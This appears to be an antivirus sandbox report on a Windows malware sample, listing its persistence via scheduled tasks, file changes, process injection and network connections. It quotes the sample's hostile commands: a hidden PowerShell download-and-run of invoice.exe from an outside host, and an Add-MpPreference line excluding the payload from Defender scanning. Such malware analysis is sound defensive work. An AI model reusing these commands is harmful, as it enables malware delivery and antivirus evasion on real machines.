Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\updates\xwijihlfsvo
Malicious functions
Downloads and executes
- http://19#.#2.66.100/invoice.exe as %appdata%\msword.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /C %APPDATA%\msword.exe
Injects code into
the following user processes:
- msword.exe
Modifies file system
Creates the following files
- %TEMP%\abdtfhgygeghdpœ.sct
- %APPDATA%\msword.exe
- %APPDATA%\xwijihlfsvo.exe
- %TEMP%\tmpc3cb.tmp
- %TEMP%\tmpda67.tmp
- %TEMP%\tmpeaea.tmp
Sets the 'hidden' attribute to the following files
- %APPDATA%\xwijihlfsvo.exe
Deletes the following files
- %TEMP%\abdtfhgygeghdpœ.sct
- %TEMP%\tmpc3cb.tmp
- %TEMP%\tmpda67.tmp
- %TEMP%\tmpeaea.tmp
Network activity
Connects to
- '19#.#2.66.100':80
- '18#.#40.53.139':3367
- '18#.#40.53.139':3368
TCP
HTTP GET requests
- http://19#.#2.66.100/invoice.exe
Miscellaneous
Creates and executes the following
- '%APPDATA%\msword.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%APPDATA%\XwijihLfSVO.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://19#.#2.66.100/invoice.exe','%APPDATA%\msword.exe')' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C %APPDATA%\msword.exe' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%APPDATA%\XwijihLfSVO.exe"' (with hidden window)
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\XwijihLfSVO" /XML "%TEMP%\tmpC3CB.tmp"' (with hidden window)
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\XwijihLfSVO" /XML "%TEMP%\tmpDA67.tmp"' (with hidden window)
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\XwijihLfSVO" /XML "%TEMP%\tmpEAEA.tmp"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\XwijihLfSVO" /XML "%TEMP%\tmpC3CB.tmp"
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\XwijihLfSVO" /XML "%TEMP%\tmpDA67.tmp"
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\XwijihLfSVO" /XML "%TEMP%\tmpEAEA.tmp"
